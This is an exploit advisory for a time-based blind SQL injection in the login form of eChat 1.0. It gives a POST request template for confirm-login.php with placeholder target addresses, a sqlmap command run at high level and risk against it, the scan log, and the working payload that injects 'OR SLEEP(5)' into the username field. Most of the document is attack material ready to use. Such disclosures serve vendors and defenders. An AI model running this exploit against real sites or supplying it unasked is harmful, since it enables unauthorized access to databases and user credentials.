eChat 1.0 SQL Injection

eChat version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7601ab56af8150320041155a410557b4

# Exploit Title: eChat | Time-Based Blind SQL Injection
# Exploit Author: [email protected]
# Date: 2021-02-21
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Debian 10

POST /confirm-login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://TARGET
DNT: 1
Connection: close
Referer: http://TARGET/login.php
Cookie: PHPSESSID=u6le3347is6787pqpdrj00vedv
Upgrade-Insecure-Requests: 1


2) Replace TARGET by the VICTIM_IP.
3) run sqlmap -r <file> --level 3 --risk 3

The result will show that username parameter is vulnerable:
[18:58:16] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 OR time-based blind' injectable
[18:59:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:59:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[18:59:25] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[18:59:26] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[18:59:26] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[18:59:26] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 1575 HTTP(s) requests:
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=sml' OR SLEEP(5)-- OOIy&password=lovesyou

Related Posts